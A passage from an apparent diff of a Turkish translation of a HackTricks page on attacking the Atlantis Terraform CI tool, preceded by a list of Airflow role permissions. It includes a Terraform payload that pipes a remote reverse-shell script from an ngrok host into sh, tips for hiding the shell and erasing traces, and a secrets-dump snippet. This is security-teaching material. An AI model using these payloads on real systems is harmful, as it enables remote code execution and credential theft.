erişim, MenuApi'de alabilir, Sağlayıcılarda menü erişimi, XCom'larda oluşturabilir] +\[Connections üzerinde silme, Connections üzerinde okuma, Connections üzerinde düzenleme, Connections üzerinde oluşturma, DAG'ler üzerinde okuma, DAG'ler üzerinde düzenleme, DAG'ler üzerinde silme, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Görev Örnekleri üzerinde düzenleme, DAG Çalışmaları üzerinde silme, DAG Çalışmaları üzerinde oluşturma, DAG Çalışmaları üzerinde düzenleme, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, Havuzlar üzerinde silme, Havuzlar üzerinde okuma, Havuzlar üzerinde düzenleme, Havuzlar üzerinde oluşturma, Sağlayıcılar üzerinde okuma, Değişkenler üzerinde silme, Değişkenler üzerinde okuma, Değişkenler üzerinde düzenleme, Değişkenler üzerinde oluşturma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Yapılandırmalar üzerinde okuma, Eklentiler üzerinde okuma, Roller üzerinde okuma, İzinler üzerinde okuma, Roller üzerinde silme, Roller üzerinde düzenleme, Roller üzerinde oluşturma, Kullanıcılar üzerinde okuma, Kullanıcılar üzerinde oluşturma, Kullanıcılar üzerinde düzenleme, Kullanıcılar üzerinde silme, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi, Görev Örneklerinde oluşturma, Görev Örneklerinde silme, Admin'de menü erişimi, Yapılandırmalarda menü erişimi, Connections'da menü erişimi, Havuzlarda menü erişimi, Değişkenlerde menü erişimi, XComs'da menü erişimi, XComs üzerinde silme, Görev Yeniden Planlamaları üzerinde okuma, Görev Yeniden Planlamaları üzerinde menü erişimi, Tetikleyiciler üzerinde okuma, Tetikleyiciler üzerinde menü erişimi, Şifreler üzerinde okuma, Şifreler üzerinde düzenleme, Kullanıcıları Listelemede menü erişimi, Güvenlikte menü erişimi, Roller Listesinde menü erişimi, Kullanıcı İstatistikleri Grafiği üzerinde okuma, Kullanıcı İstatistiklerinde menü erişimi, Temel İzinlerde menü erişimi, Görünüm Menülerinde okuma, Görünümler/Menülerde menü erişimi, İzin Görünümlerinde okuma, Görünümler/Menülerde İzin üzerinde menü erişimi, MenuApi üzerinde alma, Sağlayıcılarda menü erişimi, XComs üzerinde oluşturma] - **Op** -\[Bağlantılarda silebilir, Bağlantılarda okuyabilir, Bağlantılarda düzenleyebilir, Bağlantılarda oluşturabilir, DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, Havuzlarda silebilir, Havuzlarda okuyabilir, Havuzlarda düzenleyebilir, Havuzlarda oluşturabilir, Sağlayıcılarda okuyabilir, Değişkenlerde silebilir, Değişkenlerde okuyabilir, Değişkenlerde düzenleyebilir, Değişkenlerde oluşturabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Yapılandırmalarda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir, Admin menüsüne erişim, Yapılandırmalar menüsüne erişim, Bağlantılar menüsüne erişim, Havuzlar menüsüne erişim, Değişkenler menüsüne erişim, XCom'larda silebilir] +\[Connections üzerinde silme, Connections üzerinde okuma, Connections üzerinde düzenleme, Connections üzerinde oluşturma, DAG'ler üzerinde okuma, DAG'ler üzerinde düzenleme, DAG'ler üzerinde silme, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Görev Örnekleri üzerinde düzenleme, DAG Çalışmaları üzerinde silme, DAG Çalışmaları üzerinde oluşturma, DAG Çalışmaları üzerinde düzenleme, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, Havuzlar üzerinde silme, Havuzlar üzerinde okuma, Havuzlar üzerinde düzenleme, Havuzlar üzerinde oluşturma, Sağlayıcılar üzerinde okuma, Değişkenler üzerinde silme, Değişkenler üzerinde okuma, Değişkenler üzerinde düzenleme, Değişkenler üzerinde oluşturma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Yapılandırmalar üzerinde okuma, Eklentiler üzerinde okuma, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi, Görev Örneklerinde oluşturma, Görev Örneklerinde silme, Admin'de menü erişimi, Yapılandırmalarda menü erişimi, Connections'da menü erişimi, Havuzlarda menü erişimi, Değişkenlerde menü erişimi, XComs'da menü erişimi, XComs üzerinde silme] - **User** -\[DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir] +\[DAG'ler üzerinde okuma, DAG'ler üzerinde düzenleme, DAG'ler üzerinde silme, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Görev Örnekleri üzerinde düzenleme, DAG Çalışmaları üzerinde silme, DAG Çalışmaları üzerinde oluşturma, DAG Çalışmaları üzerinde düzenleme, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Eklentiler üzerinde okuma, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi, Görev Örneklerinde oluşturma, Görev Örneklerinde silme] - **Viewer** -\[DAG'lerde okuyabilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim] +\[DAG'ler üzerinde okuma, DAG Çalışmaları üzerinde okuma, Görev Örnekleri üzerinde okuma, Denetim Günlükleri üzerinde okuma, ImportError üzerinde okuma, XComs üzerinde okuma, DAG Kodu üzerinde okuma, Eklentiler üzerinde okuma, DAG Bağımlılıkları üzerinde okuma, İşler üzerinde okuma, Şifrem üzerinde okuma, Şifrem üzerinde düzenleme, Profilim üzerinde okuma, Profilim üzerinde düzenleme, SLA Kaçırmaları üzerinde okuma, Görev Günlükleri üzerinde okuma, Web Sitesi üzerinde okuma, Gözatmada menü erişimi, DAG Bağımlılıklarında menü erişimi, DAG Çalışmalarında menü erişimi, Belgelerde menü erişimi, Belgelerde menü erişimi, İşlerde menü erişimi, Denetim Günlüklerinde menü erişimi, Eklentilerde menü erişimi, SLA Kaçırmalarında menü erişimi, Görev Örneklerinde menü erişimi] - **Public** diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index f9992b04f..5f9c4d0cf 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -1,43 +1,43 @@ -# Atlantis Security +# Atlantis Güvenliği {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Temel Bilgiler -Atlantis temelde git sunucunuzdan Pull Request'lerden terraform çalıştırmanıza yardımcı olur. +Atlantis, temel olarak git sunucunuzdan Pull Request'lerden terraform çalıştırmanıza yardımcı olur. ![](<../images/image (161).png>) -### Local Lab +### Yerel Laboratuvar 1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) adresindeki **atlantis sürüm sayfasına** gidin ve size uygun olanı **indirin**. 2. **github** kullanıcınız için bir **kişisel token** (repo erişimi ile) oluşturun. -3. `./atlantis testdrive` komutunu çalıştırın ve **atlantis ile iletişim kurabileceğiniz bir demo repo** oluşturulacaktır. -1. Web sayfasına 127.0.0.1:4141 adresinden erişebilirsiniz. +3. `./atlantis testdrive` komutunu çalıştırın ve **atlantis ile konuşmak için** kullanabileceğiniz bir **demo repo** oluşturulacaktır. +4. Web sayfasına 127.0.0.1:4141 adresinden erişebilirsiniz. -### Atlantis Access +### Atlantis Erişimi -#### Git Server Credentials +#### Git Sunucu Kimlik Bilgileri -**Atlantis**, **Github**, **Gitlab**, **Bitbucket** ve **Azure DevOps** gibi birkaç git sunucusunu destekler.\ +**Atlantis**, **Github**, **Gitlab**, **Bitbucket** ve **Azure DevOps** gibi çeşitli git sunucularını destekler.\ Ancak, bu platformlardaki repo'lara erişmek ve işlemler gerçekleştirmek için bazı **ayrıcalıklı erişimlerin verilmesi** gerekir (en azından yazma izinleri).\ -[**Belgeler**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional), Atlantis için bu platformlarda özel bir kullanıcı oluşturulmasını teşvik eder, ancak bazı kişiler kişisel hesaplar kullanabilir. +[**Belgeler**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional), Atlantis için bu platformlarda özel bir kullanıcı oluşturulmasını teşvik eder, ancak bazı insanlar kişisel hesaplar kullanabilir. > [!WARNING] -> Her durumda, bir saldırganın perspektifinden, **Atlantis hesabı** çok **ilginç** bir **hedef** olacaktır. +> Her durumda, bir saldırgan perspektifinden, **Atlantis hesabı** çok **ilginç** bir **hedef** olacaktır. -#### Webhooks +#### Webhook'lar -Atlantis, Git sunucunuzdan aldığı **webhook'ların** **geçerli** olduğunu doğrulamak için isteğe bağlı olarak [**Webhook gizli anahtarları**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) kullanır. +Atlantis, Git sunucunuzdan aldığı **webhook'ların** **meşru** olduğunu doğrulamak için isteğe bağlı olarak [**Webhook gizli anahtarları**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) kullanır. Bunu doğrulamanın bir yolu, **isteklerin yalnızca Git sunucunuzun IP'lerinden gelmesine izin vermek** olacaktır, ancak daha kolay bir yol Webhook Gizli Anahtarı kullanmaktır. Özel bir github veya bitbucket sunucusu kullanmadığınız sürece, webhook uç noktalarını internete açmanız gerekecektir. > [!WARNING] -> Atlantis, git sunucusunun bilgi gönderebilmesi için **webhook'ları açıyor**. Bir saldırganın perspektifinden, **ona mesaj gönderebilir misiniz** bilmek ilginç olacaktır. +> Atlantis, git sunucusunun bilgi gönderebilmesi için **webhook'ları açığa çıkaracaktır**. Bir saldırgan perspektifinden, **ona mesaj gönderip gönderemeyeceğinizi** bilmek ilginç olacaktır. -#### Provider Credentials +#### Sağlayıcı Kimlik Bilgileri [Belgelerden:](https://www.runatlantis.io/docs/provider-credentials.html) @@ -45,29 +45,29 @@ Atlantis, **Atlantis'in barındırıldığı** sunucuda `terraform plan` ve `app Atlantis'e belirli sağlayıcınız için [kimlik bilgilerini nasıl sağladığınız](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) size bağlıdır: -- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) ve [AWS Fargate Modülü](https://www.runatlantis.io/docs/deployment.html#aws-fargate) kendi kimlik bilgisi mekanizmalarına sahiptir. Belgelerini okuyun. -- Atlantis'i bir bulutta çalıştırıyorsanız, birçok bulut, üzerinde çalışan uygulamalara bulut API erişimi verme yollarına sahiptir, örneğin: -- [AWS EC2 Rolleri](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Arama "EC2 Rolü") -- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Birçok kullanıcı, Atlantis'in çalıştığı yerde ortam değişkenleri ayarlar, örn. `AWS_ACCESS_KEY`. -- Diğerleri, Atlantis'in çalıştığı yerde gerekli yapılandırma dosyalarını oluşturur, örn. `~/.aws/credentials`. +- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) ve [AWS Fargate Modülü](https://www.runatlantis.io/docs/deployment.html#aws-fargate) kendi kimlik bilgileri mekanizmalarına sahiptir. Belgelerini okuyun. +- Atlantis'i bir bulutta çalıştırıyorsanız, birçok bulut, üzerinde çalışan uygulamalara bulut API erişimi sağlama yollarına sahiptir, örneğin: +- [AWS EC2 Rolleri](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (EC2 Rolü için arama yapın) +- [GCE Instance Service Hesapları](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- Birçok kullanıcı, Atlantis'in çalıştığı yerde ortam değişkenleri ayarlar, örneğin `AWS_ACCESS_KEY`. +- Diğerleri, Atlantis'in çalıştığı yerde gerekli yapılandırma dosyalarını oluşturur, örneğin `~/.aws/credentials`. - Sağlayıcı kimlik bilgilerini elde etmek için [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) kullanın. > [!WARNING] > **Atlantis'in** **çalıştığı** **konteyner**, muhtemelen Atlantis'in Terraform aracılığıyla yönettiği sağlayıcılara (AWS, GCP, Github...) ait **ayrıcalıklı kimlik bilgilerini** içerecektir. -#### Web Page +#### Web Sayfası -Varsayılan olarak Atlantis, **localhost'ta 4141 portunda bir web sayfası çalıştıracaktır**. Bu sayfa, atlantis apply'i etkinleştirip devre dışı bırakmanıza ve repo'ların plan durumunu kontrol etmenize ve kilidini açmanıza olanak tanır (şeyleri değiştirmeye izin vermez, bu yüzden çok faydalı değildir). +Varsayılan olarak Atlantis, **localhost'ta 4141 numaralı portta bir web sayfası çalıştıracaktır**. Bu sayfa, yalnızca atlantis apply'i etkinleştirmenize/devre dışı bırakmanıza ve repo'ların plan durumunu kontrol etmenize ve kilidini açmanıza izin verir (değişiklik yapmanıza izin vermez, bu yüzden çok faydalı değildir). -Muhtemelen internete açılmış olarak bulamayacaksınız, ancak varsayılan olarak **erişim için kimlik bilgisi gerekmediği** görünmektedir (ve eğer gerekirse `atlantis`:`atlantis` **varsayılan** olanlardır). +Muhtemelen internete açılmış olarak bulamayacaksınız, ancak varsayılan olarak **erişim için kimlik bilgisi gerekmediği** görünmektedir (ve eğer gerekiyorsa `atlantis`:`atlantis` **varsayılan** olanlardır). -### Server Configuration +### Sunucu Yapılandırması `atlantis server` yapılandırması, komut satırı bayrakları, ortam değişkenleri, bir yapılandırma dosyası veya bunların bir karışımı aracılığıyla belirtilebilir. - Atlantis sunucusu tarafından desteklenen [**bayrakların listesini buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) -- Bir yapılandırma seçeneğini bir ortam değişkenine dönüştürmenin [**yolunu buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- [**Bir yapılandırma seçeneğini bir ortam değişkenine nasıl dönüştüreceğinizi buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) Değerler **bu sırayla seçilir**: @@ -76,37 +76,37 @@ Değerler **bu sırayla seçilir**: 3. Yapılandırma Dosyası > [!WARNING] -> Yapılandırmada **tokenlar ve şifreler** gibi ilginç değerler bulabileceğinizi unutmayın. +> Yapılandırmada, **token'lar ve şifreler** gibi ilginç değerler bulabileceğinizi unutmayın. -#### Repos Configuration +#### Repo Yapılandırması Bazı yapılandırmalar, **repo'ların nasıl yönetildiğini** etkiler. Ancak, **her repo'nun farklı ayarlar gerektirmesi** mümkündür, bu nedenle her repo'yu belirtmenin yolları vardır. Öncelik sırası şudur: 1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) dosyası. Bu dosya, atlantis'in repo'yu nasıl ele alması gerektiğini belirtmek için kullanılabilir. Ancak, varsayılan olarak bazı anahtarların burada belirtilmesine izin verilmez. -1. Muhtemelen `allowed_overrides` veya `allow_custom_workflows` gibi bayraklarla izin verilmesi gerekir. -2. [**Sunucu Tarafı Yapılandırması**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): `--repo-config` bayrağı ile geçirebilirsiniz ve bu, her repo için yeni ayarları yapılandıran bir yaml'dır (regex desteklenir). -3. **Varsayılan** değerler. +2. `allowed_overrides` veya `allow_custom_workflows` gibi bayraklarla izin verilmesi muhtemeldir. +3. [**Sunucu Tarafı Yapılandırması**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): `--repo-config` bayrağı ile geçirebilirsiniz ve bu, her repo için yeni ayarları yapılandıran bir yaml'dır (regex desteklenir). +4. **Varsayılan** değerler. -**PR Protections** +**PR Koruma Önlemleri** -Atlantis, **PR**'nin başka birisi tarafından **`onaylanmasını`** (bu, dal korumasında ayarlanmamış olsa bile) ve/veya **`birleştirilebilir`** (dal korumaları geçildi) olmasını belirtmenize olanak tanır **apply** çalıştırmadan önce. Güvenlik açısından, her iki seçeneği de ayarlamak önerilir. +Atlantis, **PR**'nin başka birisi tarafından **`onaylanmasını`** (bu, dal korumasında ayarlanmamış olsa bile) ve/veya **`birleştirilebilir`** (dal korumaları geçildi) olmasını istemeniz durumunda, apply çalıştırmadan önce belirtmenize olanak tanır. Güvenlik açısından, her iki seçeneği de ayarlamak önerilir. -`allowed_overrides` True olduğunda, bu ayarlar **her projede `/atlantis.yml` dosyası ile** **üstü kapatılabilir**. +`allowed_overrides` True olduğunda, bu ayarlar **her projede `/atlantis.yml` dosyasıyla** **üst üste yazılabilir**. -**Scripts** +**Betikler** -Repo yapılandırması, bir **iş akışı yürütülmeden önce** [**çalıştırılacak scriptleri**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) ve [**sonrasında**](https://www.runatlantis.io/docs/post-workflow-hooks.html) belirtmek için kullanılabilir. +Repo yapılandırması, bir **iş akışı çalıştırılmadan önce** [**çalıştırılacak betikleri**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ön iş akışı kancaları_) ve [**sonrasında**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_son iş akışı kancaları_) **belirtebilir**. -**repo `/atlantis.yml`** dosyasında bu scriptleri **belirlemeye** izin veren herhangi bir seçenek yoktur. +Bu betikleri **repo `/atlantis.yml`** dosyasında **belirtme** seçeneği yoktur. -**Workflow** +**İş Akışı** -Repo yapılandırmasında (sunucu tarafı yapılandırması), [**yeni bir varsayılan iş akışı belirtebilirsiniz**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) veya [**yeni özel iş akışları oluşturabilirsiniz**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ayrıca, **oluşturulan yeni** iş akışlarına **erişebilecek** **repo'ları** da **belirtebilirsiniz**.\ -Ardından, her repo'nun **atlantis.yaml** dosyasının **kullanılacak iş akışını belirtmesine** izin verebilirsiniz. +Repo yapılandırmasında (sunucu tarafı yapılandırması), [**yeni bir varsayılan iş akışı belirtebilirsiniz**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) veya [**yeni özel iş akışları oluşturabilirsiniz**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ayrıca, hangi **repo'ların** **oluşturulan yeni** iş akışlarına **erişebileceğini** de **belirtebilirsiniz**.\ +Daha sonra, her repo'nun **atlantis.yaml** dosyasının **kullanılacak iş akışını belirtmesine** izin verebilirsiniz. > [!CAUTION] -> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlanmışsa, iş akışları her repo'nun **`atlantis.yaml`** dosyasında **belirlenebilir**. Ayrıca, **`allowed_overrides`**'ın **kullanılacak iş akışını** **üstü kapatacak şekilde** belirtmesi de muhtemelen gereklidir.\ -> Bu, **bu repo'ya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**. +> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlanmışsa, iş akışları her repo'nun **`atlantis.yaml`** dosyasında **belirtilerek** **tanımlanabilir**. Ayrıca, **`allowed_overrides`**'ın da **`workflow`**'u **üst üste yazmak için** belirtmesi muhtemelen gereklidir.\ +> Bu, temelde **bu repo'ya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**. > > ```yaml > # atlantis.yaml @@ -124,18 +124,18 @@ Ardından, her repo'nun **atlantis.yaml** dosyasının **kullanılacak iş akı > steps: - run: my custom apply command > ``` -**Conftest Policy Checking** +**Conftest Politika Kontrolü** Atlantis, plan çıktısına karşı **sunucu tarafında** [**conftest**](https://www.conftest.dev/) **politikalarını** çalıştırmayı destekler. Bu adımı kullanmanın yaygın kullanım durumları şunlardır: - Bir modül listesinin kullanımını reddetmek -- Bir kaynağın oluşturulma zamanında niteliklerini doğrulamak +- Bir kaynağın oluşturulma zamanındaki niteliklerini doğrulamak - İstemeden kaynak silmelerini yakalamak - Güvenlik risklerini önlemek (örneğin, güvenli portları halka açmak) Bunu nasıl yapılandıracağınızı [**belgelerde**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) kontrol edebilirsiniz. -### Atlantis Commands +### Atlantis Komutları [**Belgelerde**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) Atlantis'i çalıştırmak için kullanabileceğiniz seçenekleri bulabilirsiniz: ```bash @@ -172,17 +172,17 @@ atlantis plan -- -lock=false ``` #### Atlantis plan RCE - Yeni PR'de Konfigürasyon Değişikliği -Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis plan`** komutunu **çalıştırabiliyorsanız (ya da belki otomatik olarak çalıştırılıyorsa)**, **Atlantis sunucusunda RCE yapabilirsiniz**. +Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis plan`** **komutunu çalıştırabiliyorsanız (ya da belki otomatik olarak çalıştırılıyorsa)** **Atlantis sunucusunda RCE yapabilirsiniz**. -Bunu, [**Atlantis'in harici bir veri kaynağını yüklemesini sağlayarak**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) yapabilirsiniz. `main.tf` dosyasına aşağıdaki gibi bir yük yerleştirin: +Bunu, [**Atlantis'in harici bir veri kaynağını yüklemesini sağlayarak**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) yapabilirsiniz. `main.tf` dosyasına aşağıdaki gibi bir payload ekleyin: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**Daha Gizli Saldırı** +**Gizli Saldırı** -Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek: +Bu saldırıyı daha **gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek: - Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **harici bir kaynağı** **yükleyebilirsiniz**: ```javascript @@ -190,14 +190,14 @@ module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +Rev shell kodunu [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) adresinde bulabilirsiniz. -- Dış kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- Atlantis'i tetiklemek için **master'a bir PR oluşturmak yerine**, **2 dal oluşturun** (test1 ve test2) ve birinden diğerine bir **PR oluşturun**. Saldırıyı tamamladıktan sonra, sadece **PR'yi ve dalları kaldırın**. +- Dış kaynakta, **ref** özelliğini kullanarak repo içinde **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **Master'a PR oluşturmak yerine** Atlantis'i tetiklemek için **2 dal oluşturun** (test1 ve test2) ve birinden diğerine **PR oluşturun**. Saldırıyı tamamladıktan sonra, sadece **PR'yi ve dalları kaldırın**. -#### Atlantis plan Secrets Dump +#### Atlantis plan Gizli Bilgileri Dökümü -Terraform dosyasına şöyle bir şey koyarak `atlantis plan` (`terraform plan`) ile **terraform tarafından kullanılan gizli anahtarları dökebilirsiniz**: +Terraform tarafından kullanılan **gizli bilgileri dökebilirsiniz** `atlantis plan` (`terraform plan`) komutunu çalıştırarak, terraform dosyasına şöyle bir şey koyarak: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -205,14 +205,14 @@ value = nonsensitive(var.do_token) ``` #### Atlantis apply RCE - Yeni PR'de Konfigürasyon Değişikliği -Eğer bir depoya yazma erişiminiz varsa, yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis apply` komutunu çalıştırabiliyorsanız, Atlantis sunucusunda RCE gerçekleştirebilirsiniz**. +Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis apply` komutunu çalıştırabiliyorsanız, Atlantis sunucusunda RCE gerçekleştirebilirsiniz**. Ancak genellikle bazı korumaları aşmanız gerekecektir: - **Birleştirilebilir**: Eğer bu koruma Atlantis'te ayarlanmışsa, yalnızca **PR birleştirilebilir olduğunda `atlantis apply` çalıştırabilirsiniz** (bu, dal korumasının aşılması gerektiği anlamına gelir). - Potansiyel [**dal koruma aşmaları**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) kontrol edin. - **Onaylı**: Eğer bu koruma Atlantis'te ayarlanmışsa, `atlantis apply` komutunu çalıştırmadan önce **başka bir kullanıcının PR'yi onaylaması gerekir**. -- Varsayılan olarak, bu korumayı aşmak için [**Gitbot token'ını kötüye kullanabilirsiniz**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md). +- Varsayılan olarak, bu korumayı aşmak için [**Gitbot token'ını kullanabilirsiniz**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md). Kötü niyetli bir Terraform dosyasında **`terraform apply` çalıştırmak** 